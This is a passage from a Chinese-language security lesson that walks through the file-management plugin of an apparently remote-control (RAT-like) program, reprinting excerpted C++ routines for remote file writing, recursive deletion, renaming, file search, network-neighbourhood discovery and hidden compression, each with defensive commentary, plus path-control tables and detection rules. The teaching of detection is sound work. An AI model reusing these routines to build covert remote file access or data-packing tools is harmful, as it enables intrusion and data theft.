    // 覆盖会破坏原文件,续传会在原文件基础上追加/定位写入。
    if (nTransferMode == TRANSFER_MODE_ADDITION)
        dwCreationDisposition = OPEN_EXISTING;
    else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
        dwCreationDisposition = CREATE_ALWAYS;

    // 打开目标文件用于写入。
    // 这里未体现路径白名单,防御改造时应在 CreateFile 前拦截。
    m_hFileRecv = CreateFile(m_strCurrentProcessFileName,
                             GENERIC_WRITE, 0, NULL,
                             dwCreationDisposition,
                             FILE_ATTRIBUTE_NORMAL, 0);

    Send(bToken, sizeof(bToken));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1071-1105
// 防御分析注释:
// 1. WriteLocalRecvFile 根据偏移写入数据块。
// 2. lpBuffer 前 8 字节是 FILESIZE 偏移,后面才是真正文件内容。
// 3. 写入完成后继续回传 TOKEN_DATA_CONTINUE,形成分块写入循环。
// 4. 检测侧可把网络接收、文件写入、目标目录和文件扩展名串联。
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
    FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
    BYTE* pData = lpBuffer + 8;

    // 按偏移定位后写入,支持乱序或断点续传式写入。
    SetFilePointer(m_hFileRecv,
                   pFileSize->dwSizeLow,
                   (long*)&pFileSize->dwSizeHigh,
                   FILE_BEGIN);

    // 实际落盘动作。异常进程写入可执行文件、脚本、配置文件时风险更高。
    WriteFile(m_hFileRecv, pData, nSize - 8, &dwBytesWrite, NULL);

    // 通知远端继续发送下一块。
    bToken[0] = TOKEN_DATA_CONTINUE;
    Send(bToken, sizeof(bToken));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

这一组函数对应企业里常见的“远程文件投放”风险。合法运维产品要有强授权、审批和完整操作记录;没有边界控制的任意路径写入,是很高的安全风险。

# 12. 删除、重命名和隐藏打开

删除和重命名属于破坏性操作。源码里既有删除单文件,也有递归删除目录。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:708-761
// 防御分析注释:
// 1. DeleteDirectory 递归遍历目录并删除文件。
// 2. 对只读文件会先 SetFileAttributes 改成普通属性,再调用 DeleteFile。
// 3. 最后调用 RemoveDirectory 删除目录本身。
// 4. 递归删除应被视为高风险动作,尤其发生在用户文档、共享盘、业务目录或备份目录时。
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
    // 拼接通配符路径并开始遍历目录。
    wsprintf(lpszFilter, _T("%s%s*.*"), lpszDirectory, lpszSlash);
    HANDLE hFind = FindFirstFile(lpszFilter, &wfd);

    do
    {
        // 遇到子目录继续递归,风险会随目录层级扩大。
        if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            DeleteDirectory(strDirectory);
        else
        {
            // 先去掉只读属性再删除,说明它会主动绕过普通文件属性保护。
            if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
                SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
            DeleteFile(strFile);
        }
    } while (FindNextFile(hFind, &wfd));

    RemoveDirectory(lpszDirectory);
    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1119-1125
// 防御分析注释:
// 1. Rename 直接调用 MoveFile,不区分文件和目录。
// 2. 命令包里先放旧路径,再紧跟新路径,解析时依赖字符串结尾定位。
// 3. 批量重命名可能用于整理、隐藏或破坏业务文件结构。
// 4. 检测侧应记录旧路径、新路径、进程、用户和时间窗口。
void CFileManager::Rename(LPBYTE lpBuffer)
{
    // 第一个字符串:原路径。
    LPCTSTR lpExistingFileName = (TCHAR*)lpBuffer;

    // 第二个字符串:新路径,紧跟在原路径的 \0 后面。
    LPCTSTR lpNewFileName =
        (TCHAR*)((byte*)lpExistingFileName +
        (lstrlen(lpExistingFileName) + 1) * sizeof(TCHAR));

    // MoveFile 同时可用于移动和重命名。
    MoveFile(lpExistingFileName, lpNewFileName);
    SendToken(TOKEN_RENAME_FINISH);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

源码里还有隐藏方式打开文件或目录的分支:它会拼接 cmd.exe /c start 并调用 CreateProcess。本课不展开使用方法,只强调检测意义:文件管理行为如果伴随隐藏进程创建,应提高风险等级。

# 13. 搜索、Recent 与 NetHood:数据发现信号

文件搜索会创建工作线程,递归遍历目录并匹配文件名。RecentNetHood 则通过 Shell 特殊目录获得最近访问和网络邻居线索。

// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1148-1263
// 防御分析注释:
// 1. FindFileInDir 支持递归子目录搜索。
// 2. 命中的文件会通过 TOKEN_SEARCH_FILE_LIST 单独回传。
// 3. 搜索关键词、搜索起点和是否递归,是判断数据发现意图的重要字段。
// 4. 搜索线程可被停止标志中断,说明搜索可能持续较长时间。
void CFileManager::FindFileInDir(TCHAR* rootDir,
                                 TCHAR* searchfilename,
                                 BOOL bEnabledSubfolder)
{
    // 当前目录拼接 *.*,枚举所有文件和子目录。
    lstrcpy(filePathName, rootDir);
    lstrcat(filePathName, _T("*.*"));

    HANDLE hSearch = FindFirstFile(filePathName, &fd);
    do
    {
        // 如果遇到子目录且允许递归,就继续向下搜索。
        if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
            lstrcmp(fd.cFileName, _T(".")) &&
            lstrcmp(fd.cFileName, _T("..")))
        {
            if (bEnabledSubfolder)
                FindFileInDir(tmpPath, searchfilename, bEnabledSubfolder);
        }
        else if (_tcsstr(fd.cFileName, searchfilename) > 0)
        {
            // 命中文件名后立刻回传一条结果。
            // 企业侧可以按关键词、目录深度、命中数量识别数据发现行为。
            lpBuffer[0] = TOKEN_SEARCH_FILE_LIST;
            Send(lpBuffer, (UINT)LocalSize(lpBuffer));
        }
    } while (FindNextFile(hSearch, &fd) && !bIsStopSearch);
}

void CFileManager::SendSearchFilesList(LPCTSTR str)
{
    // str 指向 FILESEARCH 结构,来自网络命令包。
    memcpy(&filesearch, str, sizeof(FILESEARCH));

    // 搜索在线程中执行,避免阻塞网络事件循环。
    m_hWorkThread = CreateThread(NULL, 0,
        (LPTHREAD_START_ROUTINE)FindFileThread,
        (LPVOID)this, 0, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1331-1380
// 防御分析注释:
// 1. SendNetHood 读取 CSIDL_NETHOOD,关注网络邻居和快捷方式目标。
// 2. getLnkFormPath 会解析快捷方式真实路径。
// 3. 这类行为常用于发现共享资源、网络路径和用户常用访问位置。
// 4. 合法工具应把网络邻居枚举纳入用户隐私和共享资源访问审计。
void CFileManager::SendNetHood()
{
    TCHAR szPath[MAX_PATH];

    // 获取当前用户的网络邻居目录。
    SHGetSpecialFolderPath(NULL, szPath, CSIDL_NETHOOD, FALSE);

    wsprintf(strPath, _T("%s%s*.*"), szPath, lpszSlash);
    hFile = FindFirstFile(strPath, &FindFileData);

    do
    {
        wsprintf(InPath, _T("%s%s"), strPath_out, pszFileName);

        // 解析 .lnk 真实目标,可能得到 UNC 路径、共享目录或业务文件位置。
        if (!getLnkFormPath(InPath, OutPath))
            continue;

        lpList[0] = TOKEN_FILE_GETNETHOOD;
    } while (FindNextFile(hFile, &FindFileData));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

这类“找文件”的行为本身不一定危险,很多管理工具都有搜索功能。但如果它与敏感关键词、短时间多目录递归、压缩和网络回传组合出现,就应作为数据安全事件处理。

# 14. 压缩与高风险文件动作

源码中有两类压缩相关实现:

  1. 调用外部 WinRAR 执行压缩或解压参数。
  2. 使用 zip.h/.cpp 中的 ZIP 辅助函数生成压缩包。
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1127-1143
// 防御分析注释:
// 1. ExeCompress 通过 ShellExecuteEx 调用 WinRAR,并隐藏窗口。
// 2. lpParameters 来自命令包,真实工程应限制参数和输入输出目录。
// 3. 外部压缩工具 + 敏感目录 + 网络连接,是数据打包风险信号。
// 4. 本课不讲压缩参数构造,只从防御侧识别行为链。
void CFileManager::ExeCompress(BYTE* lpBuffer)
{
    SHELLEXECUTEINFO ShExecInfo = { 0 };
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    ShExecInfo.lpFile = _T("WinRAR");
    ShExecInfo.lpParameters = (TCHAR*)lpBuffer;
    ShExecInfo.nShow = SW_HIDE;

    // 启动外部压缩工具并等待完成。
    // 隐藏窗口执行压缩时,用户侧不一定能直观看到行为。
    if (ShellExecuteEx(&ShExecInfo))
    {
        WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
        CloseHandle(ShExecInfo.hProcess);
        SendToken(TOKEN_COMPRESS_FINISH);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\文件管理\文件管理\FileManager.cpp:1462-1566
// 防御分析注释:
// 1. FindZIPThread 会遍历输入路径,把目录和文件加入 ZIP。
// 2. 它使用 zip.h/.cpp 提供的 CreateZip、ZipAddFolder、ZipAdd、CloseZip 辅助函数。
// 3. 压缩完成后发送 TOKEN_FILE_ZIPOK。
// 4. 安全产品应关注异常进程在用户文档、共享盘、配置目录中批量生成压缩包。
void WINAPI CFileManager::FindZIPThread(LPVOID lparam)
{
    CFileManager* pThis = (CFileManager*)lparam;

    // 创建 ZIP 输出对象。newzippath 是输出压缩包路径,应纳入路径授权。
    HZIP hz = CreateZip(newzippath, 0);

    while (std::getline(ss, token, _T('|')))
    {
        if (dwAttr & FILE_ATTRIBUTE_DIRECTORY)
        {
            // 目录:先加入目录项,再递归加入目录下文件。
            ZipAddFolder(hz, zippath_filename);
            pThis->FindFileInDirZipAdd(zippath, hz, pathlen);
        }
        else
        {
            // 文件:直接加入 ZIP。
            ZipAdd(hz, zippath_filename, zippath);
        }
    }

    // 关闭 ZIP 并通知主控压缩完成。
    CloseZip(hz);
    pThis->SendToken(TOKEN_FILE_ZIPOK);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

加密、解密、强制删除等分支也出现在命令面中。对这些内容,本课只保留防御性结论:看到异常进程对业务文件进行批量加密、解密、删除、压缩、重命名时,要立即关联网络会话、父进程、命令来源和目标路径。

# 15. 路径边界:为什么这是企业最该补的控制点

15. 路径边界:为什么这是企业最该补的控制点(配图)

这个模块的一个核心风险是:很多文件 API 直接使用命令包里的路径。防御改造时,最重要的不是把函数名改漂亮,而是加路径边界。

路径区域 风险 建议控制
系统目录 影响系统稳定性和安全配置 默认禁止写入、删除和隐藏执行
用户文档 可能包含业务资料和个人数据 加强访问授权、DLP 和操作记录
配置与凭据相关文件 可能包含连接串、令牌、密钥或浏览器配置 最小化访问,触发高优先级告警
日志与备份 可能包含业务敏感信息,也可能被删除掩盖痕迹 只读保护、集中备份、删除告警
Recent / NetHood 暴露用户常用路径和共享资源 读取行为应和进程可信度关联

合法远程管理工具至少应做到:

控制点 说明
路径规范化 把相对路径、短路径、符号链接、大小写差异统一处理
允许范围 普通运维账户只允许访问授权目录
敏感目录保护 系统目录、凭据目录、浏览器配置、业务密钥目录默认保护
操作确认 删除、覆盖、批量重命名、压缩敏感目录需要二次确认
操作记录 记录操作者、主机、路径、动作、文件哈希和结果

# 16. x86/x64 与 WoW64 文件系统重定向

构造函数里调用了 IsWow64ProcessOnReceive 开头会尝试动态解析 Wow64DisableWow64FsRedirection。这说明作者考虑过 32 位进程运行在 64 位系统上的路径差异。

场景 新手容易误解的点 防御分析
32 位进程访问 C:\Windows\System32 可能被重定向到 SysWOW64 日志里看到的路径和真实访问视图可能不同
64 位系统上的 32 位插件 文件系统视图可能与 64 位工具不同 需要结合进程位数、API 调用和真实句柄
禁用重定向 可能访问 64 位系统目录 异常进程调用该 API 应提升关注
路径检测只做字符串匹配 容易漏掉重定向、短路径、链接路径 应做路径规范化和最终对象解析

这不是教你绕过路径,而是提醒防御侧:只看字符串形式的路径是不够的。文件检测要尽量落到“最终访问对象”和“进程上下文”。

# 17. 企业检测点

17. 企业检测点(配图)

文件管理模块的检测不能只看一个 API。单次 FindFirstFileReadFile 都可能是正常行为,关键是关联。

检测面 关注点 示例规则思路
进程侧 异常插件进程、隐藏桌面、隐藏窗口执行 不可信路径进程调用 CreateDesktopSetThreadDesktopCreateProcess
文件侧 批量枚举、读取、写入、删除、重命名、压缩 同一进程短时间内访问大量用户文档或共享盘文件
路径侧 系统目录、用户文档、配置目录、凭据目录、日志备份 敏感路径被非授权进程读取或修改
网络侧 文件操作命令、分块回传、长连接 文件读取后立即出现持续网络发送
数据侧 压缩包、密钥材料、批量读取、DLP 告警 生成压缩包后出现外连或大流量上传

可以把事件串成这样的逻辑:

可疑进程建立长连接
  -> 枚举盘符或桌面目录
  -> 连续枚举用户目录 / 共享目录
  -> 读取或压缩大量文件
  -> 分块网络发送
  -> 触发数据外流或敏感路径告警
1
2
3
4
5
6

# 18. 合法练习题

  1. 只阅读源码,画出 COMMAND_LIST_FILES -> SendFilesList -> TOKEN_FILE_LIST 的数据流,并标出每个字段的含义。
  2. 在隔离实验环境中,不执行危险操作,整理 OnReceive 中所有 COMMAND_* 与函数名的对应关系。
  3. 从防御角度写一条检测规则:异常进程短时间枚举多个用户文档目录,并随后读取大文件。
  4. 设计一个合法远程运维工具的路径授权策略:哪些目录允许读,哪些目录允许写,哪些目录必须禁止删除。
  5. 分析 UploadToRemote 的命名视角,解释为什么主控界面上的“下载”在被控端源码里表现为“上传”。
  6. 设计文件操作记录字段:操作者、主机、进程、路径、动作、文件大小、哈希、结果和网络会话 ID。

# 19. 本课小结

文件管理模块的核心不是某一个 API,而是一条完整链路:连接建立后,插件进入 CFileManager,构造阶段发送磁盘列表,随后 OnReceive 按命令执行目录枚举、文件传输、写入、删除、搜索和压缩。

从企业安全角度看,文件管理能力必须和权限、路径边界、操作记录、DLP、网络检测结合。没有授权和边界的文件管理插件,本质上就是高风险数据访问能力。下一课继续看 主插件\查注册表,重点转向注册表根键、子键和值的枚举、写入、删除和检测。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>